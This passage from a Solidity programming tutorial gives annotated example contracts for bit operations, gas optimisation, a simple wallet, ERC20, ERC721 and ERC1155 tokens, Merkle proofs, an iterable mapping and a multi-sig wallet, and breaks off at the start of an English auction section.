    // 8  >> 3 = 1000 --> 0001 = 1
    // 8  >> 4 = 1000 --> 0000 = 0
    // 12 >> 1 = 1100 --> 0110 = 6
    function shiftRight(uint256 x, uint256 bits)
        external
        pure
        returns (uint256)
    {
        return x >> bits;
```

```
    }

    // Get last n bits from x
    function getLastNBits(uint256 x, uint256 n)
        external
        pure
        returns (uint256)
    {
        // Example, last 3 bits
        // x        = 1101 = 13
        // mask     = 0111 = 7
        // x & mask = 0101 = 5
        uint256 mask = (1 << n) - 1;
        return x & mask;
    }

    // Get last n bits from x using mod operator
    function getLastNBitsUsingMod(uint256 x, uint256 n)
        external
        pure
        returns (uint256)
    {
        // 1 << n = 2 ** n
        return x % (1 << n);
    }

    // Get position of most significant bit
    // x = 1100 = 12, most significant bit = 1000, so this function will return 3
    function mostSignificantBit(uint256 x) external pure returns (uint256) {
        uint256 i = 0;
        while ((x >>= 1) > 0) {
            ++i;
        }
        return i;
    }

    // Get first n bits from x
    // len = length of bits in x = position of most significant bit of x, + 1
    function getFirstNBits(uint256 x, uint256 n, uint256 len)
        external
        pure
        returns (uint256)
    {
        // Example
        // x        = 1110 = 14, n = 2, len = 4
        // mask     = 1100 = 12
        // x & mask = 1100 = 12
        uint256 mask = ((1 << n) - 1) << (len - n);
        return x & mask;
    }
}
```

Most significant bit

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract MostSignificantBitFunction {
    // Find most significant bit using binary search
    function mostSignificantBit(uint256 x)
```

```
        external
        pure
        returns (uint256 msb)
    {
        // x >= 2 ** 128
        if (x >= 0x100000000000000000000000000000000) {
            x >>= 128;
            msb += 128;
        }
        // x >= 2 ** 64
        if (x >= 0x10000000000000000) {
            x >>= 64;
            msb += 64;
        }
        // x >= 2 ** 32
        if (x >= 0x100000000) {
            x >>= 32;
            msb += 32;
        }
        // x >= 2 ** 16
        if (x >= 0x10000) {
            x >>= 16;
            msb += 16;
        }
        // x >= 2 ** 8
        if (x >= 0x100) {
            x >>= 8;
            msb += 8;
        }
        // x >= 2 ** 4
        if (x >= 0x10) {
            x >>= 4;
            msb += 4;
        }
        // x >= 2 ** 2
        if (x >= 0x4) {
            x >>= 2;
            msb += 2;
        }
        // x >= 2 ** 1
        if (x >= 0x2) msb += 1;
    }
}
```

Most significant bit in assembly

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract MostSignificantBitAssembly {
    function mostSignificantBit(uint256 x)
        external
        pure
        returns (uint256 msb)
    {
        assembly {
            let f := shl(7, gt(x, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF))
            x := shr(f, x)
            // or can be replaced with add
            msb := or(msb, f)
```

```
        }
        assembly {
            let f := shl(6, gt(x, 0xFFFFFFFFFFFFFFFF))
            x := shr(f, x)
            msb := or(msb, f)
        }
        assembly {
            let f := shl(5, gt(x, 0xFFFFFFFF))
            x := shr(f, x)
            msb := or(msb, f)
        }
        assembly {
            let f := shl(4, gt(x, 0xFFFF))
            x := shr(f, x)
            msb := or(msb, f)
        }
        assembly {
            let f := shl(3, gt(x, 0xFF))
            x := shr(f, x)
            msb := or(msb, f)
        }
        assembly {
            let f := shl(2, gt(x, 0xF))
            x := shr(f, x)
            msb := or(msb, f)
        }
        assembly {
            let f := shl(1, gt(x, 0x3))
            x := shr(f, x)
            msb := or(msb, f)
        }
        assembly {
            let f := gt(x, 0x1)
            msb := or(msb, f)
        }
    }
}
```

1.52 Gas Saving Techniques

Some gas saving techniques

Some gas saving techniques.

- Replacing `memory` with `calldata`
- Loading state variables to memory
- Replace for loop `i++` with `++i`
- Caching array elements
- Short circuit

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// gas golf
contract GasGolf {
    // start - 50908 gas
    // use calldata - 49163 gas
    // load state variables to memory - 48952 gas
    // short circuit - 48634 gas
    // loop increments - 48244 gas
    // cache array length - 48209 gas
    // load array elements to memory - 48047 gas
    // uncheck i overflow/underflow - 47309 gas

    uint256 public total;

    // start - not gas optimized
    // function sumIfEvenAndLessThan99(uint[] memory nums) external {
    //     for (uint i = 0; i < nums.length; i += 1) {
    //         bool isEven = nums[i] % 2 == 0;
    //         bool isLessThan99 = nums[i] < 99;
    //         if (isEven && isLessThan99) {
    //             total += nums[i];
    //         }
    //     }
    // }

    // gas optimized
    // [1, 2, 3, 4, 5, 100]
    function sumIfEvenAndLessThan99(uint256[] calldata nums) external {
        uint256 _total = total;
        uint256 len = nums.length;

        for (uint256 i = 0; i < len;) {
            uint256 num = nums[i];
            if (num % 2 == 0 && num < 99) {
                _total += num;
            }
            unchecked {
                ++i;
            }
        }

        total = _total;
    }
}
```

Chapter 2 — Applications

2.1 Ether Wallet

Simple example of wallet in Solidity

An example of a basic wallet.

- Anyone can send ETH.
- Only the owner can withdraw.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract EtherWallet {
    address payable public owner;

    constructor() {
        owner = payable(msg.sender);
    }

    receive() external payable {}

    function withdraw(uint256 _amount) external {
        require(msg.sender == owner, "caller is not owner");
        payable(msg.sender).transfer(_amount);
    }

    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}
```

2.2 ERC20

Example of ERC20 token in Solidity

Any contract that follow the ERC20 standard is a ERC20 token.

ERC20 tokens provide functionalities to

- transfer tokens
- allow others to transfer tokens on behalf of the token holder

Here is the interface for ERC20.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address dst, uint256 amount) external returns (bool);
    function transferFrom(address src, address dst, uint256 amount)
        external
        returns (bool);

    event Transfer(address indexed src, address indexed dst, uint256 amount);
    event Approval(
        address indexed owner, address indexed spender, uint256 amount
    );
}
```

Example of `ERC20` token contract.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

abstract contract ERC20 {
    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(
        address indexed owner, address indexed spender, uint256 amount
    );

    string public name;
    string public symbol;
    uint8 public immutable decimals;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
```

```
        decimals = _decimals;
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        returns (bool)
    {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount)
        public
        virtual
        returns (bool)
    {
        balanceOf[msg.sender] -= amount;
        unchecked {
            balanceOf[to] += amount;
        }
        emit Transfer(msg.sender, to, amount);
        return true;
    }

    function transferFrom(address from, address to, uint256 amount)
        public
        virtual
        returns (bool)
    {
        uint256 allowed = allowance[from][msg.sender];
        if (allowed != type(uint256).max) {
            allowance[from][msg.sender] = allowed - amount;
        }
        balanceOf[from] -= amount;
        unchecked {
            balanceOf[to] += amount;
        }
        emit Transfer(from, to, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal virtual {
        totalSupply += amount;
        unchecked {
            balanceOf[to] += amount;
        }
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal virtual {
        balanceOf[from] -= amount;
        unchecked {
            totalSupply -= amount;
        }
        emit Transfer(from, address(0), amount);
    }
}
```

Create your own ERC20 token

Using Open Zeppelin it's really easy to create your own ERC20 token.

Here is an example

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./ERC20.sol";

contract MyToken is ERC20 {
    constructor(string memory name, string memory symbol, uint8 decimals)
        ERC20(name, symbol, decimals)
    {
        // Mint 100 tokens to msg.sender
        // Similar to how
        // 1 dollar = 100 cents
        // 1 token = 1 * (10 ** decimals)
        _mint(msg.sender, 100 * 10 ** uint256(decimals));
    }
}
```

Contract to swap tokens

Here is an example contract, `TokenSwap`, to trade one ERC20 token for another.

This contract will swap tokens by calling

```
transferFrom(address sender, address recipient, uint256 amount)
```

which will transfer `amount` of token from `sender` to `recipient`.

For `transferFrom` to succeed, `sender` must

- have more than `amount` tokens in their balance
- allowed `TokenSwap` to withdraw `amount` tokens by calling `approve`

prior to `TokenSwap` calling `transferFrom`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

import "./IERC20.sol";

/*
How to swap tokens

1. Alice has 100 tokens from AliceCoin, which is a ERC20 token.
2. Bob has 100 tokens from BobCoin, which is also a ERC20 token.
3. Alice and Bob wants to trade 10 AliceCoin for 20 BobCoin.
4. Alice or Bob deploys TokenSwap
5. Alice approves TokenSwap to withdraw 10 tokens from AliceCoin
6. Bob approves TokenSwap to withdraw 20 tokens from BobCoin
7. Alice or Bob calls TokenSwap.swap()
8. Alice and Bob traded tokens successfully.
*/

contract TokenSwap {
    IERC20 public token1;
    address public owner1;
    uint256 public amount1;
    IERC20 public token2;
    address public owner2;
    uint256 public amount2;

    constructor(
        address _token1,
        address _owner1,
        uint256 _amount1,
        address _token2,
        address _owner2,
        uint256 _amount2
    ) {
        token1 = IERC20(_token1);
        owner1 = _owner1;
        amount1 = _amount1;
        token2 = IERC20(_token2);
        owner2 = _owner2;
```

```
        amount2 = _amount2;
    }

    function swap() public {
        require(msg.sender == owner1 || msg.sender == owner2, "Not authorized");
        require(
            token1.allowance(owner1, address(this)) >= amount1,
            "Token 1 allowance too low"
        );
        require(
            token2.allowance(owner2, address(this)) >= amount2,
            "Token 2 allowance too low"
        );

        _safeTransferFrom(token1, owner1, owner2, amount1);
        _safeTransferFrom(token2, owner2, owner1, amount2);
    }

    function _safeTransferFrom(
        IERC20 token,
        address sender,
        address recipient,
        uint256 amount
    ) private {
        bool sent = token.transferFrom(sender, recipient, amount);
        require(sent, "Token transfer failed");
    }
}
```

Explanation:

- ERC-20 is the standard fungible token interface on Ethereum, defined in EIP-20.
- `totalSupply` returns the total token supply; `balanceOf` returns a holder's balance.
- `transfer` moves tokens from the caller to a recipient; it MUST emit a `Transfer` event.
- `approve` lets a spender withdraw up to an amount from the caller's account; paired with `transferFrom` for delegated transfers.
- `allowance` returns the remaining amount a spender is permitted to use.
- Key security note: the "approve & transferFrom" pattern has a front-running race condition — use `increaseAllowance`/`decreaseAllowance` or EIP-2612 `permit` to avoid it.
- The `_mint` internal function increases `totalSupply` and credits a balance; `_burn` does the reverse.
- `SafeERC20` (OpenZeppelin) wraps these calls with return-value checks because some tokens (e.g., USDT) do not return `bool`.

2.3 ERC721

Example of ERC721 non-fungible token in Solidity

Example of ERC721

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IERC165 {
    function supportsInterface(bytes4 interfaceID)
        external
        view
        returns (bool);
}

interface IERC721 is IERC165 {
    function balanceOf(address owner) external view returns (uint256 balance);
    function ownerOf(uint256 tokenId) external view returns (address owner);
    function safeTransferFrom(address from, address to, uint256 tokenId)
        external;
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;
    function transferFrom(address from, address to, uint256 tokenId) external;
    function approve(address to, uint256 tokenId) external;
    function getApproved(uint256 tokenId)
        external
        view
        returns (address operator);
    function setApprovalForAll(address operator, bool _approved) external;
    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);
}

interface IERC721Receiver {
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

contract ERC721 is IERC721 {
    event Transfer(
        address indexed from, address indexed to, uint256 indexed id
    );
    event Approval(
        address indexed owner, address indexed spender, uint256 indexed id
    );
    event ApprovalForAll(
        address indexed owner, address indexed operator, bool approved
    );
```

```
    // Mapping from token ID to owner address
    mapping(uint256 => address) internal _ownerOf;

    // Mapping owner address to token count
    mapping(address => uint256) internal _balanceOf;

    // Mapping from token ID to approved address
    mapping(uint256 => address) internal _approvals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) public isApprovedForAll;

    function supportsInterface(bytes4 interfaceId)
        external
        pure
        returns (bool)
    {
        return interfaceId == type(IERC721).interfaceId
            || interfaceId == type(IERC165).interfaceId;
    }

    function ownerOf(uint256 id) external view returns (address owner) {
        owner = _ownerOf[id];
        require(owner != address(0), "token doesn't exist");
    }

    function balanceOf(address owner) external view returns (uint256) {
        require(owner != address(0), "owner = zero address");
        return _balanceOf[owner];
    }

    function setApprovalForAll(address operator, bool approved) external {
        isApprovedForAll[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function approve(address spender, uint256 id) external {
        address owner = _ownerOf[id];
        require(
            msg.sender == owner || isApprovedForAll[owner][msg.sender],
            "not authorized"
        );

        _approvals[id] = spender;

        emit Approval(owner, spender, id);
    }

    function getApproved(uint256 id) external view returns (address) {
        require(_ownerOf[id] != address(0), "token doesn't exist");
        return _approvals[id];
    }

    function _isApprovedOrOwner(address owner, address spender, uint256 id)
        internal
        view
        returns (bool)
    {
        return (
            spender == owner || isApprovedForAll[owner][spender]
                || spender == _approvals[id]
        );
    }
```

```
    function transferFrom(address from, address to, uint256 id) public {
        require(from == _ownerOf[id], "from != owner");
        require(to != address(0), "transfer to zero address");

        require(_isApprovedOrOwner(from, msg.sender, id), "not authorized");

        _balanceOf[from]--;
        _balanceOf[to]++;
        _ownerOf[id] = to;

        delete _approvals[id];

        emit Transfer(from, to, id);
    }

    function safeTransferFrom(address from, address to, uint256 id) external {
        transferFrom(from, to, id);

        require(
            to.code.length == 0
                || IERC721Receiver(to).onERC721Received(msg.sender, from, id, "")
                    == IERC721Receiver.onERC721Received.selector,
            "unsafe recipient"
        );
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        bytes calldata data
    ) external {
        transferFrom(from, to, id);

        require(
            to.code.length == 0
                || IERC721Receiver(to).onERC721Received(msg.sender, from, id, data)
                    == IERC721Receiver.onERC721Received.selector,
            "unsafe recipient"
        );
    }

    function _mint(address to, uint256 id) internal {
        require(to != address(0), "mint to zero address");
        require(_ownerOf[id] == address(0), "already minted");

        _balanceOf[to]++;
        _ownerOf[id] = to;

        emit Transfer(address(0), to, id);
    }

    function _burn(uint256 id) internal {
        address owner = _ownerOf[id];
        require(owner != address(0), "not minted");

        _balanceOf[owner] -= 1;

        delete _ownerOf[id];
        delete _approvals[id];

        emit Transfer(owner, address(0), id);
```

```
    }
}

contract MyNFT is ERC721 {
    function mint(address to, uint256 id) external {
        _mint(to, id);
    }

    function burn(uint256 id) external {
        require(msg.sender == _ownerOf[id], "not owner");
        _burn(id);
    }
}
```

Explanation:

- ERC-721 defines the non-fungible token (NFT) standard; every token has a unique `tokenId`.
- `ownerOf(tokenId)` returns the owner; `balanceOf(owner)` returns how many NFTs an address holds.
- `transferFrom` and `safeTransferFrom` move ownership; the "safe" variant calls `onERC721Received` on the recipient if it is a contract — prevents tokens being locked in contracts that can't handle NFTs.
- `approve` delegates transfer of a specific tokenId; `setApprovalForAll` delegates the entire collection to an operator (used by marketplaces).
- `tokenURI` should return a JSON metadata URI (often IPFS) describing the NFT.
- Minting is done via an internal `_mint(address, tokenId)` — there is no standard mint function in the spec itself.
- Watch out: `transferFrom` does NOT call `onERC721Received`, so sending to a contract that can't handle NFTs will lock them permanently.

2.4 ERC1155

Example of ERC1155 multi token in Solidity

Example of ERC1155

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IERC1155 {
    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external;
    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external;
    function balanceOf(address owner, uint256 id)
        external
        view
        returns (uint256);
    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory);
    function setApprovalForAll(address operator, bool approved) external;
    function isApprovedForAll(address owner, address operator)
        external
        view
        returns (bool);
}

interface IERC1155TokenReceiver {
    function onERC1155Received(
        address operator,
        address from,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external returns (bytes4);

    function onERC1155BatchReceived(
        address operator,
        address from,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external returns (bytes4);
}

contract ERC1155 is IERC1155 {
    event TransferSingle(
        address indexed operator,
```

```
        address indexed from,
        address indexed to,
        uint256 id,
        uint256 value
    );
    event TransferBatch(
        address indexed operator,
        address indexed from,
        address indexed to,
        uint256[] ids,
        uint256[] values
    );
    event ApprovalForAll(
        address indexed owner, address indexed operator, bool approved
    );
    event URI(string value, uint256 indexed id);

    // owner => id => balance
    mapping(address => mapping(uint256 => uint256)) public balanceOf;
    // owner => operator => approved
    mapping(address => mapping(address => bool)) public isApprovedForAll;

    function balanceOfBatch(address[] calldata owners, uint256[] calldata ids)
        external
        view
        returns (uint256[] memory balances)
    {
        require(owners.length == ids.length, "owners length != ids length");

        balances = new uint256[](owners.length);

        unchecked {
            for (uint256 i = 0; i < owners.length; i++) {
                balances[i] = balanceOf[owners[i]][ids[i]];
            }
        }
    }

    function setApprovalForAll(address operator, bool approved) external {
        isApprovedForAll[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function safeTransferFrom(
        address from,
        address to,
        uint256 id,
        uint256 value,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");

        balanceOf[from][id] -= value;
        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, from, to, id, value);

        if (to.code.length > 0) {
            require(
```

```
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, from, id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function safeBatchTransferFrom(
        address from,
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        require(
            msg.sender == from || isApprovedForAll[from][msg.sender],
            "not approved"
        );
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, from, to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, from, ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    // ERC165
    function supportsInterface(bytes4 interfaceId)
        external
        pure
        returns (bool)
    {
        return interfaceId == 0x01ffc9a7 // ERC165 Interface ID for ERC165
            || interfaceId == 0xd9b67a26 // ERC165 Interface ID for ERC1155
            || interfaceId == 0x0e89341c; // ERC165 Interface ID for ERC1155MetadataURI
    }

    // ERC1155 Metadata URI
    function uri(uint256 id) public view virtual returns (string memory) {}

    // Internal functions
    function _mint(address to, uint256 id, uint256 value, bytes memory data)
        internal
    {
        require(to != address(0), "to = 0 address");

        balanceOf[to][id] += value;

        emit TransferSingle(msg.sender, address(0), to, id, value);
```

```
        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155Received(
                    msg.sender, address(0), id, value, data
                ) == IERC1155TokenReceiver.onERC1155Received.selector,
                "unsafe transfer"
            );
        }
    }

    function _batchMint(
        address to,
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) internal {
        require(to != address(0), "to = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[to][ids[i]] += values[i];
        }

        emit TransferBatch(msg.sender, address(0), to, ids, values);

        if (to.code.length > 0) {
            require(
                IERC1155TokenReceiver(to).onERC1155BatchReceived(
                    msg.sender, address(0), ids, values, data
                ) == IERC1155TokenReceiver.onERC1155BatchReceived.selector,
                "unsafe transfer"
            );
        }
    }

    function _burn(address from, uint256 id, uint256 value) internal {
        require(from != address(0), "from = 0 address");
        balanceOf[from][id] -= value;
        emit TransferSingle(msg.sender, from, address(0), id, value);
    }

    function _batchBurn(
        address from,
        uint256[] calldata ids,
        uint256[] calldata values
    ) internal {
        require(from != address(0), "from = 0 address");
        require(ids.length == values.length, "ids length != values length");

        for (uint256 i = 0; i < ids.length; i++) {
            balanceOf[from][ids[i]] -= values[i];
        }

        emit TransferBatch(msg.sender, from, address(0), ids, values);
    }
}

contract MyMultiToken is ERC1155 {
    function mint(uint256 id, uint256 value, bytes memory data) external {
        _mint(msg.sender, id, value, data);
    }

    function batchMint(
```

```
        uint256[] calldata ids,
        uint256[] calldata values,
        bytes calldata data
    ) external {
        _batchMint(msg.sender, ids, values, data);
    }

    function burn(uint256 id, uint256 value) external {
        _burn(msg.sender, id, value);
    }

    function batchBurn(uint256[] calldata ids, uint256[] calldata values)
        external
    {
        _batchBurn(msg.sender, ids, values);
    }
}
```

Explanation:

- ERC-1155 is a multi-token standard: one contract can hold multiple token types (fungible, semi-fungible, and non-fungible) identified by `id`.
- `balanceOf(account, id)` and `balanceOfBatch` allow batch queries — more gas-efficient than multiple ERC-20/ERC-721 calls.
- `safeTransferFrom` and `safeBatchTransferFrom` move tokens; the "safe" check calls `onERC1155Received` / `onERC1155BatchReceived` on contracts.
- `setApprovalForAll` delegates the entire collection to an operator.
- URIs use `{id}` as a placeholder replaced client-side with the hex-encoded token id.
- Popular use cases: gaming items, hybrid token sets, gas-optimized airdrops.

2.5 Merkle Tree

Learn about Merkle tree in Solidity

Merkle tree allows you to cryptographically prove that an element is contained

in a set without revealing the entire set.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract MerkleProof {
    function verify(
        bytes32[] memory proof,
        bytes32 root,
        bytes32 leaf,
        uint256 index
    ) public pure returns (bool) {
        bytes32 hash = leaf;

        for (uint256 i = 0; i < proof.length; i++) {
            bytes32 proofElement = proof[i];

            if (index % 2 == 0) {
                hash = keccak256(abi.encodePacked(hash, proofElement));
            } else {
                hash = keccak256(abi.encodePacked(proofElement, hash));
            }

            index = index / 2;
        }

        return hash == root;
    }
}

contract TestMerkleProof is MerkleProof {
    bytes32[] public hashes;

    constructor() {
        string[4] memory transactions =
            ["alice -> bob", "bob -> dave", "carol -> alice", "dave -> bob"];

        for (uint256 i = 0; i < transactions.length; i++) {
            hashes.push(keccak256(abi.encodePacked(transactions[i])));
        }

        uint256 n = transactions.length;
        uint256 offset = 0;

        while (n > 1) {
            for (uint256 i = 0; i < n; i += 2) {
                bytes32 left = hashes[offset + i];
                bytes32 right;
                if (i + 1 < n) {
                    right = hashes[offset + i + 1];
                } else {
                    right = left;
                }
                hashes.push(keccak256(abi.encodePacked(left, right)));
```

```
            }
            offset += n;
            n = (n + 1) / 2;
        }
    }

    function getRoot() public view returns (bytes32) {
        return hashes[hashes.length - 1];
    }

    /* verify
    3rd leaf
    0xdca3326ad7e8121bf9cf9c12333e6b2271abe823ec9edfe42f813b1e768fa57b

    root
    0xcc086fcc038189b4641db2cc4f1de3bb132aefbd65d510d817591550937818c7

    index
    2

    proof
    0x8da9e1c820f9dbd1589fd6585872bc1063588625729e7ab0797cfc63a00bd950
    0x995788ffc103b987ad50f5e5707fd094419eb12d9552cc423bd0cd86a3861433
    */
}
```

2.6 Iterable Mapping

Iterable Mapping in Solidity

You cannot iterate through a `mapping`. So here is an example of how to create an iterable `mapping`.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

library IterableMapping {
    // Iterable mapping from address to uint;
    struct Map {
        address[] keys;
        mapping(address => uint256) values;
        mapping(address => uint256) indexOf;
        mapping(address => bool) inserted;
    }

    function get(Map storage map, address key) public view returns (uint256) {
        return map.values[key];
    }

    function getKeyAtIndex(Map storage map, uint256 index)
        public
        view
        returns (address)
    {
        return map.keys[index];
    }

    function size(Map storage map) public view returns (uint256) {
        return map.keys.length;
    }

    function set(Map storage map, address key, uint256 val) public {
        if (map.inserted[key]) {
            map.values[key] = val;
        } else {
            map.inserted[key] = true;
            map.values[key] = val;
            map.indexOf[key] = map.keys.length;
            map.keys.push(key);
        }
    }

    function remove(Map storage map, address key) public {
        if (!map.inserted[key]) {
            return;
        }

        delete map.inserted[key];
        delete map.values[key];

        uint256 index = map.indexOf[key];
        address lastKey = map.keys[map.keys.length - 1];

        map.indexOf[lastKey] = index;
        delete map.indexOf[key];

        map.keys[index] = lastKey;
```

```
        map.keys.pop();
    }
}

contract TestIterableMap {
    using IterableMapping for IterableMapping.Map;

    IterableMapping.Map private map;

    function setInMapping(uint256 val) public {
        map.set(msg.sender, val);
    }

    function getFromMap() public view returns (uint256) {
        return map.get(msg.sender);
    }

    function getKeyAtIndex(uint256 index) public view returns (address) {
        return map.getKeyAtIndex(index);
    }

    function sizeOfMapping() public view returns (uint256) {
        return map.size();
    }

    function removeFromMapping() public {
        map.remove(msg.sender);
    }
}
```

2.7 Multi-Sig Wallet

An example of multi-sig wallet in Solidity

Let's create a multi-sig wallet. Here are the specifications.

The wallet owners can

- submit a transaction
- approve and revoke approval of pending transactions
- anyone can execute a transaction after enough owners have approved it.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract MultiSigWallet {
    event Deposit(address indexed sender, uint256 amount, uint256 balance);
    event SubmitTransaction(
        address indexed owner,
        uint256 indexed txIndex,
        address indexed to,
        uint256 value,
        bytes data
    );
    event ConfirmTransaction(address indexed owner, uint256 indexed txIndex);
    event RevokeConfirmation(address indexed owner, uint256 indexed txIndex);
    event ExecuteTransaction(address indexed owner, uint256 indexed txIndex);

    address[] public owners;
    mapping(address => bool) public isOwner;
    uint256 public numConfirmationsRequired;

    struct Transaction {
        address to;
        uint256 value;
        bytes data;
        bool executed;
        uint256 numConfirmations;
    }

    // mapping from tx index => owner => bool
    mapping(uint256 => mapping(address => bool)) public isConfirmed;

    Transaction[] public transactions;

    modifier onlyOwner() {
        require(isOwner[msg.sender], "not owner");
        _;
    }

    modifier txExists(uint256 _txIndex) {
        require(_txIndex < transactions.length, "tx does not exist");
        _;
    }

    modifier notExecuted(uint256 _txIndex) {
        require(!transactions[_txIndex].executed, "tx already executed");
        _;
    }
```

```
    modifier notConfirmed(uint256 _txIndex) {
        require(!isConfirmed[_txIndex][msg.sender], "tx already confirmed");
        _;
    }

    constructor(address[] memory _owners, uint256 _numConfirmationsRequired) {
        require(_owners.length > 0, "owners required");
        require(
            _numConfirmationsRequired > 0
                && _numConfirmationsRequired <= _owners.length,
            "invalid number of required confirmations"
        );

        for (uint256 i = 0; i < _owners.length; i++) {
            address owner = _owners[i];

            require(owner != address(0), "invalid owner");
            require(!isOwner[owner], "owner not unique");

            isOwner[owner] = true;
            owners.push(owner);
        }

        numConfirmationsRequired = _numConfirmationsRequired;
    }

    receive() external payable {
        emit Deposit(msg.sender, msg.value, address(this).balance);
    }

    function submitTransaction(address _to, uint256 _value, bytes memory _data)
        public
        onlyOwner
    {
        uint256 txIndex = transactions.length;

        transactions.push(
            Transaction({
                to: _to,
                value: _value,
                data: _data,
                executed: false,
                numConfirmations: 0
            })
        );

        emit SubmitTransaction(msg.sender, txIndex, _to, _value, _data);
    }

    function confirmTransaction(uint256 _txIndex)
        public
        onlyOwner
        txExists(_txIndex)
        notExecuted(_txIndex)
        notConfirmed(_txIndex)
    {
        Transaction storage transaction = transactions[_txIndex];
        transaction.numConfirmations += 1;
        isConfirmed[_txIndex][msg.sender] = true;

        emit ConfirmTransaction(msg.sender, _txIndex);
    }
```

```
    function executeTransaction(uint256 _txIndex)
        public
        onlyOwner
        txExists(_txIndex)
        notExecuted(_txIndex)
    {
        Transaction storage transaction = transactions[_txIndex];

        require(
            transaction.numConfirmations >= numConfirmationsRequired,
            "cannot execute tx"
        );

        transaction.executed = true;

        (bool success,) =
            transaction.to.call{value: transaction.value}(transaction.data);
        require(success, "tx failed");

        emit ExecuteTransaction(msg.sender, _txIndex);
    }

    function revokeConfirmation(uint256 _txIndex)
        public
        onlyOwner
        txExists(_txIndex)
        notExecuted(_txIndex)
    {
        Transaction storage transaction = transactions[_txIndex];

        require(isConfirmed[_txIndex][msg.sender], "tx not confirmed");

        transaction.numConfirmations -= 1;
        isConfirmed[_txIndex][msg.sender] = false;

        emit RevokeConfirmation(msg.sender, _txIndex);
    }

    function getOwners() public view returns (address[] memory) {
        return owners;
    }

    function getTransactionCount() public view returns (uint256) {
        return transactions.length;
    }

    function getTransaction(uint256 _txIndex)
        public
        view
        returns (
            address to,
            uint256 value,
            bytes memory data,
            bool executed,
            uint256 numConfirmations
        )
    {
        Transaction storage transaction = transactions[_txIndex];

        return (
            transaction.to,
            transaction.value,
```

```
            transaction.data,
            transaction.executed,
            transaction.numConfirmations
        );
    }
}
```

Here is a contract to test sending transactions from the multi-sig wallet

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract TestContract {
    uint256 public i;

    function callMe(uint256 j) public {
        i += j;
    }

    function getData() public pure returns (bytes memory) {
        return abi.encodeWithSignature("callMe(uint256)", 123);
    }
}
```

Explanation:

- A multi-sig wallet requires M-of-N owners to approve a transaction before it executes.
- `submitTransaction` adds a pending tx to the queue; `confirmTransaction` records approvals; `executeTransaction` fires the call once the threshold is met.
- `revokeConfirmation` allows an owner to undo their approval before execution.
- Uses a `mapping(uint => mapping(address => bool))` to track which owners confirmed which tx id.
- `call{value: value}(data)` is used for execution — low-level call forwards gas and allows arbitrary data.
- Key security patterns: check-effects-interactions ordering, reentrancy guard, and requiring the tx has not already been executed.

2.8 English Auction

An example of English auction in Solidity

English auction for NFT.

Auction

1. Seller of NFT deploys this contract.
2. Auction lasts for 7 days.
3. Participants can bid by depositing ETH greater than the current highest bidder.
4. All bidders can withdraw their bid if it is not the current highest bid.

After the auction

